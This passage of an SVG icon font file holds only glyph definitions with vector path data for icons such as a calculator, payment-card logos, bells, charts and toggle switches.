<glyph unicode="&#xf1ec;" horiz-adv-x="1792" d="M384 0q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM768 0q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM384 384q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5 t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1152 0q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM768 384q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5 t37.5 90.5zM384 768q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1152 384q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM768 768q0 53 -37.5 90.5t-90.5 37.5 t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1536 0v384q0 52 -38 90t-90 38t-90 -38t-38 -90v-384q0 -52 38 -90t90 -38t90 38t38 90zM1152 768q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5z M1536 1088v256q0 26 -19 45t-45 19h-1280q-26 0 -45 -19t-19 -45v-256q0 -26 19 -45t45 -19h1280q26 0 45 19t19 45zM1536 768q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1664 1408v-1536q0 -52 -38 -90t-90 -38 h-1408q-52 0 -90 38t-38 90v1536q0 52 38 90t90 38h1408q52 0 90 -38t38 -90z" />
<glyph unicode="&#xf1ed;" d="M1519 890q18 -84 -4 -204q-87 -444 -565 -444h-44q-25 0 -44 -16.5t-24 -42.5l-4 -19l-55 -346l-2 -15q-5 -26 -24.5 -42.5t-44.5 -16.5h-251q-21 0 -33 15t-9 36q9 56 26.5 168t26.5 168t27 167.5t27 167.5q5 37 43 37h131q133 -2 236 21q175 39 287 144q102 95 155 246 q24 70 35 133q1 6 2.5 7.5t3.5 1t6 -3.5q79 -59 98 -162zM1347 1172q0 -107 -46 -236q-80 -233 -302 -315q-113 -40 -252 -42q0 -1 -90 -1l-90 1q-100 0 -118 -96q-2 -8 -85 -530q-1 -10 -12 -10h-295q-22 0 -36.5 16.5t-11.5 38.5l232 1471q5 29 27.5 48t51.5 19h598 q34 0 97.5 -13t111.5 -32q107 -41 163.5 -123t56.5 -196z" />
<glyph unicode="&#xf1ee;" horiz-adv-x="1792" d="M441 864q32 0 52 -26q266 -364 362 -774h-446q-127 441 -367 749q-12 16 -3 33.5t29 17.5h373zM1000 507q-49 -199 -125 -393q-79 310 -256 594q40 221 44 449q211 -340 337 -650zM1099 1216q235 -324 384.5 -698.5t184.5 -773.5h-451q-41 665 -553 1472h435zM1792 640 q0 -424 -101 -812q-67 560 -359 1083q-25 301 -106 584q-4 16 5.5 28.5t25.5 12.5h359q21 0 38.5 -13t22.5 -33q115 -409 115 -850z" />
<glyph unicode="&#xf1f0;" horiz-adv-x="2304" d="M1975 546h-138q14 37 66 179l3 9q4 10 10 26t9 26l12 -55zM531 611l-58 295q-11 54 -75 54h-268l-2 -13q311 -79 403 -336zM710 960l-162 -438l-17 89q-26 70 -85 129.5t-131 88.5l135 -510h175l261 641h-176zM849 318h166l104 642h-166zM1617 944q-69 27 -149 27 q-123 0 -201 -59t-79 -153q-1 -102 145 -174q48 -23 67 -41t19 -39q0 -30 -30 -46t-69 -16q-86 0 -156 33l-22 11l-23 -144q74 -34 185 -34q130 -1 208.5 59t80.5 160q0 106 -140 174q-49 25 -71 42t-22 38q0 22 24.5 38.5t70.5 16.5q70 1 124 -24l15 -8zM2042 960h-128 q-65 0 -87 -54l-246 -588h174l35 96h212q5 -22 20 -96h154zM2304 1280v-1280q0 -52 -38 -90t-90 -38h-2048q-52 0 -90 38t-38 90v1280q0 52 38 90t90 38h2048q52 0 90 -38t38 -90z" />
<glyph unicode="&#xf1f1;" horiz-adv-x="2304" d="M671 603h-13q-47 0 -47 -32q0 -22 20 -22q17 0 28 15t12 39zM1066 639h62v3q1 4 0.5 6.5t-1 7t-2 8t-4.5 6.5t-7.5 5t-11.5 2q-28 0 -36 -38zM1606 603h-12q-48 0 -48 -32q0 -22 20 -22q17 0 28 15t12 39zM1925 629q0 41 -30 41q-19 0 -31 -20t-12 -51q0 -42 28 -42 q20 0 32.5 20t12.5 52zM480 770h87l-44 -262h-56l32 201l-71 -201h-39l-4 200l-34 -200h-53l44 262h81l2 -163zM733 663q0 -6 -4 -42q-16 -101 -17 -113h-47l1 22q-20 -26 -58 -26q-23 0 -37.5 16t-14.5 42q0 39 26 60.5t73 21.5q14 0 23 -1q0 3 0.5 5.5t1 4.5t0.5 3 q0 20 -36 20q-29 0 -59 -10q0 4 7 48q38 11 67 11q74 0 74 -62zM889 721l-8 -49q-22 3 -41 3q-27 0 -27 -17q0 -8 4.5 -12t21.5 -11q40 -19 40 -60q0 -72 -87 -71q-34 0 -58 6q0 2 7 49q29 -8 51 -8q32 0 32 19q0 7 -4.5 11.5t-21.5 12.5q-43 20 -43 59q0 72 84 72 q30 0 50 -4zM977 721h28l-7 -52h-29q-2 -17 -6.5 -40.5t-7 -38.5t-2.5 -18q0 -16 19 -16q8 0 16 2l-8 -47q-21 -7 -40 -7q-43 0 -45 47q0 12 8 56q3 20 25 146h55zM1180 648q0 -23 -7 -52h-111q-3 -22 10 -33t38 -11q30 0 58 14l-9 -54q-30 -8 -57 -8q-95 0 -95 95 q0 55 27.5 90.5t69.5 35.5q35 0 55.5 -21t20.5 -56zM1319 722q-13 -23 -22 -62q-22 2 -31 -24t-25 -128h-56l3 14q22 130 29 199h51l-3 -33q14 21 25.5 29.5t28.5 4.5zM1506 763l-9 -57q-28 14 -50 14q-31 0 -51 -27.5t-20 -70.5q0 -30 13.5 -47t38.5 -17q21 0 48 13 l-10 -59q-28 -8 -50 -8q-45 0 -71.5 30.5t-26.5 82.5q0 70 35.5 114.5t91.5 44.5q26 0 61 -13zM1668 663q0 -18 -4 -42q-13 -79 -17 -113h-46l1 22q-20 -26 -59 -26q-23 0 -37 16t-14 42q0 39 25.5 60.5t72.5 21.5q15 0 23 -1q2 7 2 13q0 20 -36 20q-29 0 -59 -10q0 4 8 48 q38 11 67 11q73 0 73 -62zM1809 722q-14 -24 -21 -62q-23 2 -31.5 -23t-25.5 -129h-56l3 14q19 104 29 199h52q0 -11 -4 -33q15 21 26.5 29.5t27.5 4.5zM1950 770h56l-43 -262h-53l3 19q-23 -23 -52 -23q-31 0 -49.5 24t-18.5 64q0 53 27.5 92t64.5 39q31 0 53 -29z M2061 640q0 148 -72.5 273t-198 198t-273.5 73q-181 0 -328 -110q127 -116 171 -284h-50q-44 150 -158 253q-114 -103 -158 -253h-50q44 168 171 284q-147 110 -328 110q-148 0 -273.5 -73t-198 -198t-72.5 -273t72.5 -273t198 -198t273.5 -73q181 0 328 110 q-120 111 -165 264h50q46 -138 152 -233q106 95 152 233h50q-45 -153 -165 -264q147 -110 328 -110q148 0 273.5 73t198 198t72.5 273zM2304 1280v-1280q0 -52 -38 -90t-90 -38h-2048q-52 0 -90 38t-38 90v1280q0 52 38 90t90 38h2048q52 0 90 -38t38 -90z" />
<glyph unicode="&#xf1f2;" horiz-adv-x="2304" d="M313 759q0 -51 -36 -84q-29 -26 -89 -26h-17v220h17q61 0 89 -27q36 -31 36 -83zM2089 824q0 -52 -64 -52h-19v101h20q63 0 63 -49zM380 759q0 74 -50 120.5t-129 46.5h-95v-333h95q74 0 119 38q60 51 60 128zM410 593h65v333h-65v-333zM730 694q0 40 -20.5 62t-75.5 42 q-29 10 -39.5 19t-10.5 23q0 16 13.5 26.5t34.5 10.5q29 0 53 -27l34 44q-41 37 -98 37q-44 0 -74 -27.5t-30 -67.5q0 -35 18 -55.5t64 -36.5q37 -13 45 -19q19 -12 19 -34q0 -20 -14 -33.5t-36 -13.5q-48 0 -71 44l-42 -40q44 -64 115 -64q51 0 83 30.5t32 79.5zM1008 604 v77q-37 -37 -78 -37q-49 0 -80.5 32.5t-31.5 82.5q0 48 31.5 81.5t77.5 33.5q43 0 81 -38v77q-40 20 -80 20q-74 0 -125.5 -50.5t-51.5 -123.5t51 -123.5t125 -50.5q42 0 81 19zM2240 0v527q-65 -40 -144.5 -84t-237.5 -117t-329.5 -137.5t-417.5 -134.5t-504 -118h1569 q26 0 45 19t19 45zM1389 757q0 75 -53 128t-128 53t-128 -53t-53 -128t53 -128t128 -53t128 53t53 128zM1541 584l144 342h-71l-90 -224l-89 224h-71l142 -342h35zM1714 593h184v56h-119v90h115v56h-115v74h119v57h-184v-333zM2105 593h80l-105 140q76 16 76 94q0 47 -31 73 t-87 26h-97v-333h65v133h9zM2304 1274v-1268q0 -56 -38.5 -95t-93.5 -39h-2040q-55 0 -93.5 39t-38.5 95v1268q0 56 38.5 95t93.5 39h2040q55 0 93.5 -39t38.5 -95z" />
<glyph unicode="&#xf1f3;" horiz-adv-x="2304" d="M119 854h89l-45 108zM740 328l74 79l-70 79h-163v-49h142v-55h-142v-54h159zM898 406l99 -110v217zM1186 453q0 33 -40 33h-84v-69h83q41 0 41 36zM1475 457q0 29 -42 29h-82v-61h81q43 0 43 32zM1197 923q0 29 -42 29h-82v-60h81q43 0 43 31zM1656 854h89l-44 108z M699 1009v-271h-66v212l-94 -212h-57l-94 212v-212h-132l-25 60h-135l-25 -60h-70l116 271h96l110 -257v257h106l85 -184l77 184h108zM1255 453q0 -20 -5.5 -35t-14 -25t-22.5 -16.5t-26 -10t-31.5 -4.5t-31.5 -1t-32.5 0.5t-29.5 0.5v-91h-126l-80 90l-83 -90h-256v271h260 l80 -89l82 89h207q109 0 109 -89zM964 794v-56h-217v271h217v-57h-152v-49h148v-55h-148v-54h152zM2304 235v-229q0 -55 -38.5 -94.5t-93.5 -39.5h-2040q-55 0 -93.5 39.5t-38.5 94.5v678h111l25 61h55l25 -61h218v46l19 -46h113l20 47v-47h541v99l10 1q10 0 10 -14v-86h279 v23q23 -12 55 -18t52.5 -6.5t63 0.5t51.5 1l25 61h56l25 -61h227v58l34 -58h182v378h-180v-44l-25 44h-185v-44l-23 44h-249q-69 0 -109 -22v22h-172v-22q-24 22 -73 22h-628l-43 -97l-43 97h-198v-44l-22 44h-169l-78 -179v391q0 55 38.5 94.5t93.5 39.5h2040 q55 0 93.5 -39.5t38.5 -94.5v-678h-120q-51 0 -81 -22v22h-177q-55 0 -78 -22v22h-316v-22q-31 22 -87 22h-209v-22q-23 22 -91 22h-234l-54 -58l-50 58h-349v-378h343l55 59l52 -59h211v89h21q59 0 90 13v-102h174v99h8q8 0 10 -2t2 -10v-87h529q57 0 88 24v-24h168 q60 0 95 17zM1546 469q0 -23 -12 -43t-34 -29q25 -9 34 -26t9 -46v-54h-65v45q0 33 -12 43.5t-46 10.5h-69v-99h-65v271h154q48 0 77 -15t29 -58zM1269 936q0 -24 -12.5 -44t-33.5 -29q26 -9 34.5 -25.5t8.5 -46.5v-53h-65q0 9 0.5 26.5t0 25t-3 18.5t-8.5 16t-17.5 8.5 t-29.5 3.5h-70v-98h-64v271l153 -1q49 0 78 -14.5t29 -57.5zM1798 327v-56h-216v271h216v-56h-151v-49h148v-55h-148v-54zM1372 1009v-271h-66v271h66zM2065 357q0 -86 -102 -86h-126v58h126q34 0 34 25q0 16 -17 21t-41.5 5t-49.5 3.5t-42 22.5t-17 55q0 39 26 60t66 21 h130v-57h-119q-36 0 -36 -25q0 -16 17.5 -20.5t42 -4t49 -2.5t42 -21.5t17.5 -54.5zM2304 407v-101q-24 -35 -88 -35h-125v58h125q33 0 33 25q0 13 -12.5 19t-31 5.5t-40 2t-40 8t-31 24t-12.5 48.5q0 39 26.5 60t66.5 21h129v-57h-118q-36 0 -36 -25q0 -20 29 -22t68.5 -5 t56.5 -26zM2139 1008v-270h-92l-122 203v-203h-132l-26 60h-134l-25 -60h-75q-129 0 -129 133q0 138 133 138h63v-59q-7 0 -28 1t-28.5 0.5t-23 -2t-21.5 -6.5t-14.5 -13.5t-11.5 -23t-3 -33.5q0 -38 13.5 -58t49.5 -20h29l92 213h97l109 -256v256h99l114 -188v188h66z" />
<glyph unicode="&#xf1f4;" horiz-adv-x="2304" d="M745 630q0 -37 -25.5 -61.5t-62.5 -24.5q-29 0 -46.5 16t-17.5 44q0 37 25 62.5t62 25.5q28 0 46.5 -16.5t18.5 -45.5zM1530 779q0 -42 -22 -57t-66 -15l-32 -1l17 107q2 11 13 11h18q22 0 35 -2t25 -12.5t12 -30.5zM1881 630q0 -36 -25.5 -61t-61.5 -25q-29 0 -47 16 t-18 44q0 37 25 62.5t62 25.5q28 0 46.5 -16.5t18.5 -45.5zM513 801q0 59 -38.5 85.5t-100.5 26.5h-160q-19 0 -21 -19l-65 -408q-1 -6 3 -11t10 -5h76q20 0 22 19l18 110q1 8 7 13t15 6.5t17 1.5t19 -1t14 -1q86 0 135 48.5t49 134.5zM822 489l41 261q1 6 -3 11t-10 5h-76 q-14 0 -17 -33q-27 40 -95 40q-72 0 -122.5 -54t-50.5 -127q0 -59 34.5 -94t92.5 -35q28 0 58 12t48 32q-4 -12 -4 -21q0 -16 13 -16h69q19 0 22 19zM1269 752q0 5 -4 9.5t-9 4.5h-77q-11 0 -18 -10l-106 -156l-44 150q-5 16 -22 16h-75q-5 0 -9 -4.5t-4 -9.5q0 -2 19.5 -59 t42 -123t23.5 -70q-82 -112 -82 -120q0 -13 13 -13h77q11 0 18 10l255 368q2 2 2 7zM1649 801q0 59 -38.5 85.5t-100.5 26.5h-159q-20 0 -22 -19l-65 -408q-1 -6 3 -11t10 -5h82q12 0 16 13l18 116q1 8 7 13t15 6.5t17 1.5t19 -1t14 -1q86 0 135 48.5t49 134.5zM1958 489 l41 261q1 6 -3 11t-10 5h-76q-14 0 -17 -33q-26 40 -95 40q-72 0 -122.5 -54t-50.5 -127q0 -59 34.5 -94t92.5 -35q29 0 59 12t47 32q0 -1 -2 -9t-2 -12q0 -16 13 -16h69q19 0 22 19zM2176 898v1q0 14 -13 14h-74q-11 0 -13 -11l-65 -416l-1 -2q0 -5 4 -9.5t10 -4.5h66 q19 0 21 19zM392 764q-5 -35 -26 -46t-60 -11l-33 -1l17 107q2 11 13 11h19q40 0 58 -11.5t12 -48.5zM2304 1280v-1280q0 -52 -38 -90t-90 -38h-2048q-52 0 -90 38t-38 90v1280q0 52 38 90t90 38h2048q52 0 90 -38t38 -90z" />
<glyph unicode="&#xf1f5;" horiz-adv-x="2304" d="M1597 633q0 -69 -21 -106q-19 -35 -52 -35q-23 0 -41 9v224q29 30 57 30q57 0 57 -122zM2035 669h-110q6 98 56 98q51 0 54 -98zM476 534q0 59 -33 91.5t-101 57.5q-36 13 -52 24t-16 25q0 26 38 26q58 0 124 -33l18 112q-67 32 -149 32q-77 0 -123 -38q-48 -39 -48 -109 q0 -58 32.5 -90.5t99.5 -56.5q39 -14 54.5 -25.5t15.5 -27.5q0 -31 -48 -31q-29 0 -70 12.5t-72 30.5l-18 -113q72 -41 168 -41q81 0 129 37q51 41 51 117zM771 749l19 111h-96v135l-129 -21l-18 -114l-46 -8l-17 -103h62v-219q0 -84 44 -120q38 -30 111 -30q32 0 79 11v118 q-32 -7 -44 -7q-42 0 -42 50v197h77zM1087 724v139q-15 3 -28 3q-32 0 -55.5 -16t-33.5 -46l-10 56h-131v-471h150v306q26 31 82 31q16 0 26 -2zM1124 389h150v471h-150v-471zM1746 638q0 122 -45 179q-40 52 -111 52q-64 0 -117 -56l-8 47h-132v-645l150 25v151 q36 -11 68 -11q83 0 134 56q61 65 61 202zM1278 986q0 33 -23 56t-56 23t-56 -23t-23 -56t23 -56.5t56 -23.5t56 23.5t23 56.5zM2176 629q0 113 -48 176q-50 64 -144 64q-96 0 -151.5 -66t-55.5 -180q0 -128 63 -188q55 -55 161 -55q101 0 160 40l-16 103q-57 -31 -128 -31 q-43 0 -63 19q-23 19 -28 66h248q2 14 2 52zM2304 1280v-1280q0 -52 -38 -90t-90 -38h-2048q-52 0 -90 38t-38 90v1280q0 52 38 90t90 38h2048q52 0 90 -38t38 -90z" />
<glyph unicode="&#xf1f6;" horiz-adv-x="2048" d="M1558 684q61 -356 298 -556q0 -52 -38 -90t-90 -38h-448q0 -106 -75 -181t-181 -75t-180.5 74.5t-75.5 180.5zM1024 -176q16 0 16 16t-16 16q-59 0 -101.5 42.5t-42.5 101.5q0 16 -16 16t-16 -16q0 -73 51.5 -124.5t124.5 -51.5zM2026 1424q8 -10 7.5 -23.5t-10.5 -22.5 l-1872 -1622q-10 -8 -23.5 -7t-21.5 11l-84 96q-8 10 -7.5 23.5t10.5 21.5l186 161q-19 32 -19 66q50 42 91 88t85 119.5t74.5 158.5t50 206t19.5 260q0 152 117 282.5t307 158.5q-8 19 -8 39q0 40 28 68t68 28t68 -28t28 -68q0 -20 -8 -39q124 -18 219 -82.5t148 -157.5 l418 363q10 8 23.5 7t21.5 -11z" />
<glyph unicode="&#xf1f7;" horiz-adv-x="2048" d="M1040 -160q0 16 -16 16q-59 0 -101.5 42.5t-42.5 101.5q0 16 -16 16t-16 -16q0 -73 51.5 -124.5t124.5 -51.5q16 0 16 16zM503 315l877 760q-42 88 -132.5 146.5t-223.5 58.5q-93 0 -169.5 -31.5t-121.5 -80.5t-69 -103t-24 -105q0 -384 -137 -645zM1856 128 q0 -52 -38 -90t-90 -38h-448q0 -106 -75 -181t-181 -75t-180.5 74.5t-75.5 180.5l149 129h757q-166 187 -227 459l111 97q61 -356 298 -556zM1942 1520l84 -96q8 -10 7.5 -23.5t-10.5 -22.5l-1872 -1622q-10 -8 -23.5 -7t-21.5 11l-84 96q-8 10 -7.5 23.5t10.5 21.5l186 161 q-19 32 -19 66q50 42 91 88t85 119.5t74.5 158.5t50 206t19.5 260q0 152 117 282.5t307 158.5q-8 19 -8 39q0 40 28 68t68 28t68 -28t28 -68q0 -20 -8 -39q124 -18 219 -82.5t148 -157.5l418 363q10 8 23.5 7t21.5 -11z" />
<glyph unicode="&#xf1f8;" horiz-adv-x="1408" d="M512 160v704q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-704q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM768 160v704q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-704q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1024 160v704q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-704 q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM480 1152h448l-48 117q-7 9 -17 11h-317q-10 -2 -17 -11zM1408 1120v-64q0 -14 -9 -23t-23 -9h-96v-948q0 -83 -47 -143.5t-113 -60.5h-832q-66 0 -113 58.5t-47 141.5v952h-96q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h309l70 167 q15 37 54 63t79 26h320q40 0 79 -26t54 -63l70 -167h309q14 0 23 -9t9 -23z" />
<glyph unicode="&#xf1f9;" d="M1150 462v-109q0 -50 -36.5 -89t-94 -60.5t-118 -32.5t-117.5 -11q-205 0 -342.5 139t-137.5 346q0 203 136 339t339 136q34 0 75.5 -4.5t93 -18t92.5 -34t69 -56.5t28 -81v-109q0 -16 -16 -16h-118q-16 0 -16 16v70q0 43 -65.5 67.5t-137.5 24.5q-140 0 -228.5 -91.5 t-88.5 -237.5q0 -151 91.5 -249.5t233.5 -98.5q68 0 138 24t70 66v70q0 7 4.5 11.5t10.5 4.5h119q6 0 11 -4.5t5 -11.5zM768 1280q-130 0 -248.5 -51t-204 -136.5t-136.5 -204t-51 -248.5t51 -248.5t136.5 -204t204 -136.5t248.5 -51t248.5 51t204 136.5t136.5 204t51 248.5 t-51 248.5t-136.5 204t-204 136.5t-248.5 51zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
<glyph unicode="&#xf1fa;" d="M972 761q0 108 -53.5 169t-147.5 61q-63 0 -124 -30.5t-110 -84.5t-79.5 -137t-30.5 -180q0 -112 53.5 -173t150.5 -61q96 0 176 66.5t122.5 166t42.5 203.5zM1536 640q0 -111 -37 -197t-98.5 -135t-131.5 -74.5t-145 -27.5q-6 0 -15.5 -0.5t-16.5 -0.5q-95 0 -142 53 q-28 33 -33 83q-52 -66 -131.5 -110t-173.5 -44q-161 0 -249.5 95.5t-88.5 269.5q0 157 66 290t179 210.5t246 77.5q87 0 155 -35.5t106 -99.5l2 19l11 56q1 6 5.5 12t9.5 6h118q5 0 13 -11q5 -5 3 -16l-120 -614q-5 -24 -5 -48q0 -39 12.5 -52t44.5 -13q28 1 57 5.5t73 24 t77 50t57 89.5t24 137q0 292 -174 466t-466 174q-130 0 -248.5 -51t-204 -136.5t-136.5 -204t-51 -248.5t51 -248.5t136.5 -204t204 -136.5t248.5 -51q228 0 405 144q11 9 24 8t21 -12l41 -49q8 -12 7 -24q-2 -13 -12 -22q-102 -83 -227.5 -128t-258.5 -45q-156 0 -298 61 t-245 164t-164 245t-61 298t61 298t164 245t245 164t298 61q344 0 556 -212t212 -556z" />
<glyph unicode="&#xf1fb;" horiz-adv-x="1792" d="M1698 1442q94 -94 94 -226.5t-94 -225.5l-225 -223l104 -104q10 -10 10 -23t-10 -23l-210 -210q-10 -10 -23 -10t-23 10l-105 105l-603 -603q-37 -37 -90 -37h-203l-256 -128l-64 64l128 256v203q0 53 37 90l603 603l-105 105q-10 10 -10 23t10 23l210 210q10 10 23 10 t23 -10l104 -104l223 225q93 94 225.5 94t226.5 -94zM512 64l576 576l-192 192l-576 -576v-192h192z" />
<glyph unicode="&#xf1fc;" horiz-adv-x="1792" d="M1615 1536q70 0 122.5 -46.5t52.5 -116.5q0 -63 -45 -151q-332 -629 -465 -752q-97 -91 -218 -91q-126 0 -216.5 92.5t-90.5 219.5q0 128 92 212l638 579q59 54 130 54zM706 502q39 -76 106.5 -130t150.5 -76l1 -71q4 -213 -129.5 -347t-348.5 -134q-123 0 -218 46.5 t-152.5 127.5t-86.5 183t-29 220q7 -5 41 -30t62 -44.5t59 -36.5t46 -17q41 0 55 37q25 66 57.5 112.5t69.5 76t88 47.5t103 25.5t125 10.5z" />
<glyph unicode="&#xf1fd;" horiz-adv-x="1792" d="M1792 128v-384h-1792v384q45 0 85 14t59 27.5t47 37.5q30 27 51.5 38t56.5 11t55.5 -11t52.5 -38q29 -25 47 -38t58 -27t86 -14q45 0 85 14.5t58 27t48 37.5q21 19 32.5 27t31 15t43.5 7q35 0 56.5 -11t51.5 -38q28 -24 47 -37.5t59 -27.5t85 -14t85 14t59 27.5t47 37.5 q30 27 51.5 38t56.5 11q34 0 55.5 -11t51.5 -38q28 -24 47 -37.5t59 -27.5t85 -14zM1792 448v-192q-35 0 -55.5 11t-52.5 38q-29 25 -47 38t-58 27t-85 14q-46 0 -86 -14t-58 -27t-47 -38q-22 -19 -33 -27t-31 -15t-44 -7q-35 0 -56.5 11t-51.5 38q-29 25 -47 38t-58 27 t-86 14q-45 0 -85 -14.5t-58 -27t-48 -37.5q-21 -19 -32.5 -27t-31 -15t-43.5 -7q-35 0 -56.5 11t-51.5 38q-28 24 -47 37.5t-59 27.5t-85 14q-46 0 -86 -14t-58 -27t-47 -38q-30 -27 -51.5 -38t-56.5 -11v192q0 80 56 136t136 56h64v448h256v-448h256v448h256v-448h256v448 h256v-448h64q80 0 136 -56t56 -136zM512 1312q0 -77 -36 -118.5t-92 -41.5q-53 0 -90.5 37.5t-37.5 90.5q0 29 9.5 51t23.5 34t31 28t31 31.5t23.5 44.5t9.5 67q38 0 83 -74t45 -150zM1024 1312q0 -77 -36 -118.5t-92 -41.5q-53 0 -90.5 37.5t-37.5 90.5q0 29 9.5 51 t23.5 34t31 28t31 31.5t23.5 44.5t9.5 67q38 0 83 -74t45 -150zM1536 1312q0 -77 -36 -118.5t-92 -41.5q-53 0 -90.5 37.5t-37.5 90.5q0 29 9.5 51t23.5 34t31 28t31 31.5t23.5 44.5t9.5 67q38 0 83 -74t45 -150z" />
<glyph unicode="&#xf1fe;" horiz-adv-x="2048" d="M2048 0v-128h-2048v1536h128v-1408h1920zM1664 1024l256 -896h-1664v576l448 576l576 -576z" />
<glyph unicode="&#xf200;" horiz-adv-x="1792" d="M768 646l546 -546q-106 -108 -247.5 -168t-298.5 -60q-209 0 -385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103v-762zM955 640h773q0 -157 -60 -298.5t-168 -247.5zM1664 768h-768v768q209 0 385.5 -103t279.5 -279.5t103 -385.5z" />
<glyph unicode="&#xf201;" horiz-adv-x="2048" d="M2048 0v-128h-2048v1536h128v-1408h1920zM1920 1248v-435q0 -21 -19.5 -29.5t-35.5 7.5l-121 121l-633 -633q-10 -10 -23 -10t-23 10l-233 233l-416 -416l-192 192l585 585q10 10 23 10t23 -10l233 -233l464 464l-121 121q-16 16 -7.5 35.5t29.5 19.5h435q14 0 23 -9 t9 -23z" />
<glyph unicode="&#xf202;" horiz-adv-x="1792" d="M1292 832q0 -6 10 -41q10 -29 25 -49.5t41 -34t44 -20t55 -16.5q325 -91 325 -332q0 -146 -105.5 -242.5t-254.5 -96.5q-59 0 -111.5 18.5t-91.5 45.5t-77 74.5t-63 87.5t-53.5 103.5t-43.5 103t-39.5 106.5t-35.5 95q-32 81 -61.5 133.5t-73.5 96.5t-104 64t-142 20 q-96 0 -183 -55.5t-138 -144.5t-51 -185q0 -160 106.5 -279.5t263.5 -119.5q177 0 258 95q56 63 83 116l84 -152q-15 -34 -44 -70l1 -1q-131 -152 -388 -152q-147 0 -269.5 79t-190.5 207.5t-68 274.5q0 105 43.5 206t116 176.5t172 121.5t204.5 46q87 0 159 -19t123.5 -50 t95 -80t72.5 -99t58.5 -117t50.5 -124.5t50 -130.5t55 -127q96 -200 233 -200q81 0 138.5 48.5t57.5 128.5q0 42 -19 72t-50.5 46t-72.5 31.5t-84.5 27t-87.5 34t-81 52t-65 82t-39 122.5q-3 16 -3 33q0 110 87.5 192t198.5 78q78 -3 120.5 -14.5t90.5 -53.5h-1 q12 -11 23 -24.5t26 -36t19 -27.5l-129 -99q-26 49 -54 70v1q-23 21 -97 21q-49 0 -84 -33t-35 -83z" />
<glyph unicode="&#xf203;" d="M1432 484q0 173 -234 239q-35 10 -53 16.5t-38 25t-29 46.5q0 2 -2 8.5t-3 12t-1 7.5q0 36 24.5 59.5t60.5 23.5q54 0 71 -15h-1q20 -15 39 -51l93 71q-39 54 -49 64q-33 29 -67.5 39t-85.5 10q-80 0 -142 -57.5t-62 -137.5q0 -7 2 -23q16 -96 64.5 -140t148.5 -73 q29 -8 49 -15.5t45 -21.5t38.5 -34.5t13.5 -46.5v-5q1 -58 -40.5 -93t-100.5 -35q-97 0 -167 144q-23 47 -51.5 121.5t-48 125.5t-54 110.5t-74 95.5t-103.5 60.5t-147 24.5q-101 0 -192 -56t-144 -148t-50 -192v-1q4 -108 50.5 -199t133.5 -147.5t196 -56.5q186 0 279 110 q20 27 31 51l-60 109q-42 -80 -99 -116t-146 -36q-115 0 -191 87t-76 204q0 105 82 189t186 84q112 0 170 -53.5t104 -172.5q8 -21 25.5 -68.5t28.5 -76.5t31.5 -74.5t38.5 -74t45.5 -62.5t55.5 -53.5t66 -33t80 -13.5q107 0 183 69.5t76 174.5zM1536 1120v-960 q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
<glyph unicode="&#xf204;" horiz-adv-x="2048" d="M1152 640q0 104 -40.5 198.5t-109.5 163.5t-163.5 109.5t-198.5 40.5t-198.5 -40.5t-163.5 -109.5t-109.5 -163.5t-40.5 -198.5t40.5 -198.5t109.5 -163.5t163.5 -109.5t198.5 -40.5t198.5 40.5t163.5 109.5t109.5 163.5t40.5 198.5zM1920 640q0 104 -40.5 198.5 t-109.5 163.5t-163.5 109.5t-198.5 40.5h-386q119 -90 188.5 -224t69.5 -288t-69.5 -288t-188.5 -224h386q104 0 198.5 40.5t163.5 109.5t109.5 163.5t40.5 198.5zM2048 640q0 -130 -51 -248.5t-136.5 -204t-204 -136.5t-248.5 -51h-768q-130 0 -248.5 51t-204 136.5 t-136.5 204t-51 248.5t51 248.5t136.5 204t204 136.5t248.5 51h768q130 0 248.5 -51t204 -136.5t136.5 -204t51 -248.5z" />
<glyph unicode="&#xf205;" horiz-adv-x="2048" d="M0 640q0 130 51 248.5t136.5 204t204 136.5t248.5 51h768q130 0 248.5 -51t204 -136.5t136.5 -204t51 -248.5t-51 -248.5t-136.5 -204t-204 -136.5t-248.5 -51h-768q-130 0 -248.5 51t-204 136.5t-136.5 204t-51 248.5zM1408 128q104 0 198.5 40.5t163.5 109.5 t109.5 163.5t40.5 198.5t-40.5 198.5t-109.5 163.5t-163.5 109.5t-198.5 40.5t-198.5 -40.5t-163.5 -109.5t-109.5 -163.5t-40.5 -198.5t40.5 -198.5t109.5 -163.5t163.5 -109.5t198.5 -40.5z" />
